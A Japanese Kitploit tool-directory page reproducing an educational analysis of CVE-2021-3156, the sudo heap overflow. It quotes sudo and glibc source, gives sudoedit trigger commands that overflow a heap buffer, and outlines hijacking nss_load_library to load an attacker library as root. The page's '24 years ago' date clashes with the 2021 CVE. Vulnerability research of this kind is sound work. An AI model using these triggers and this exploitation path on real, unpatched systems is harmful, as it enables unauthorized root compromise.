Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-3156 — 教育用のエクスプロイト実装と解析:CVE-2021-3156、sudoのset_cmnd()関数におけるヒープベースのバッファオーバーフローにより、巧妙に細工されたコマンドライン引数を介してrootへの権限昇格が可能になります。 | Kitploit
ツール/GitHubGitHub/musergi/cve-2021-3156
特権昇格脆弱性分析エクスプロイト論文と研究学習と教育バイナリエクスプロイト
GitHubmusergi/cve-2021-3156

CVE-2021-3156

教育用のエクスプロイト実装と解析:CVE-2021-3156、sudoのset_cmnd()関数におけるヒープベースのバッファオーバーフローにより、巧妙に細工されたコマンドライン引数を介してrootへの権限昇格が可能になります。

リポジトリを見る
24年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-3156

本ドキュメントでは、このリポジトリのコードを理解し、なぜそれが機能するのかを理解するために必要な知識をすべて含めています。すべての説明は、QUALYS が作成したレポートに基づいています。そこでは、さらに多くの悪用方法が説明されています。

必要条件

脆弱なバージョンの sudo は、レガシーバージョンの 1.8.2 から 1.8.31p2 までと、安定版の 1.9.0 から 1.9.5p1 までのすべてのバージョンで、デフォルト設定の場合です。

このリポジトリは Ubuntu 20.04 (sudo 1.8.31) でテストされています。ここでは、root 権限でターミナルを開きます。

解析

Sudo が shell モードでコマンドを実行するために実行された場合:

  • -s オプションを使用する。これにより sudo の MODE_SHELL フラグが設定される。
  • -i オプションを使用する。これにより sudo の MODE_SHELL と MODE_LOGIN_SHELL フラグが設定される。

その場合、sudo の main() の先頭で、parse_args() はすべてのコマンドライン引数を連結し、すべてのメタ文字をバックスラッシュでエスケープすることによって argv を書き換えます。

root@kitploit:~
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

その後、sudoers_policy_main() 内の set_cmnd() は、コマンドライン引数をヒープベースのバッファ user_args に連結し、メタ文字のエスケープを解除します(「sudoers のマッチングとログ記録のため」):

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

コマンドライン引数が単一のバックスラッシュ文字で終わる場合:

  • from[0] はバックスラッシュ文字、from[1] はヌル終端文字
  • from がインクリメントされ、ヌル終端文字を指す
  • ヌル終端文字が user_args バッファにコピーされ、from がさらにインクリメントされて範囲外を指す
  • while ループは範囲外の文字を読み取り、user_args バッファにコピーする。

言い換えると、set_cmnd() はヒープベースのバッファオーバーフローに対して脆弱です。なぜなら、user_args バッファにコピーされる範囲外の文字がそのサイズに含まれていなかったからです。

しかし、理論上は、MODE_SHELL または MODE_LOGIN_SHELL が設定されている場合(脆弱なコードに到達するための必要条件)、MODE_SHELL が設定され、parse_args() はすでにすべてのメタ文字(バックスラッシュを含む)をエスケープしています(つまり、すべてのバックスラッシュを2番目のバックスラッシュでエスケープしています)。そのため、コマンドライン引数が単一のバックスラッシュ文字で終わることはできません。

しかし実際には、set_cmnd() の脆弱なコードと parse_args() のエスケープコードは、わずかに異なる条件で囲まれています:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

対して:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

そこで私たちの質問は次の通りです:MODE_SHELL を設定し、MODE_EDIT または MODE_CHECK のいずれかを設定して脆弱なコードに到達できるでしょうか?ただし、デフォルトの MODE_RUN は設定せずに(エスケープコードを回避するため)。

答えは、いいえのようです:MODE_EDIT(-e オプション)または MODE_CHECK(-l オプション)を設定すると、parse_args() は valid_flags から MODE_SHELL を削除し、MODE_SHELL のような無効なフラグを指定するとエラーで終了します):

root@kitploit:~
                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

しかし、私たちは抜け穴を見つけました:Sudo を sudo ではなく sudoedit として実行すると、parse_args() は自動的に MODE_EDIT を設定しますが、valid_flags はリセットされず、valid_flags にはデフォルトで MODE_SHELL が含まれます:

root@kitploit:~
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

その結果、"sudoedit -s" を実行すると、MODE_EDIT と MODE_SHELL の両方が設定されます(ただし MODE_RUN は設定されません)。これにより、エスケープコードを回避し、脆弱なコードに到達し、単一のバックスラッシュ文字で終わるコマンドライン引数を介してヒープベースのバッファ user_args をオーバーフローさせることができます:

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

攻撃者の観点から見ると、このバッファオーバーフローは理想的です:

  • オーバーフローさせる user_args バッファのサイズを制御できます(連結されたコマンドライン引数のサイズ)。
  • オーバーフロー自体のサイズと内容を独立して制御できます(最後のコマンドライン引数の直後に、サイズ計算に含まれない最初の環境変数が続くため便利です)。
  • オーバーフローさせるバッファにヌルバイトを書き込むこともできます(単一のバックスラッシュで終わる各コマンドライン引数または環境変数は、user_args にヌルバイトを書き込みます)。

たとえば、amd64 Linux では、次のコマンドは 24 バイトの user_args バッファ(32 バイトのヒープチャンク)を割り当て、次のチャンクの size フィールドを "A=a\0B=b\0"(0x00623d4200613d41)で上書きし、fd フィールドを "C=c\0D=d\0"(0x00643d4400633d43)で、bk フィールドを "E=e\0F=f\0"(0x00663d4600653d45)で上書きします:

root@kitploit:~
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
root@kitploit:~
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

悪用

root@kitploit:~
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

クラッシュしている関数は glibc の nss_load_library()(344行目)で、ポインタ library が上書きされたためです。

root@kitploit:~
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

このクラッシュを悪用するための手順は次のとおりです:

  • ni->library を NULL で上書きします。これにより、コードが if 節に入り、ライブラリの解析とロードが開始されます。
  • ni->name を "X/X" で上書きします。これはもともと "systemd" を保持していました。
  • その結果、__stpcpy 行は "libnss_systemd.so.2" の代わりに "libnss_X/X.so.2" を解析します。
  • したがって、私たちが制御する共有ライブラリ "libnss_X/X.so.2" を root としてロードすることになります。その中で、root として好きなことを実行できます。
ツールをダウンロード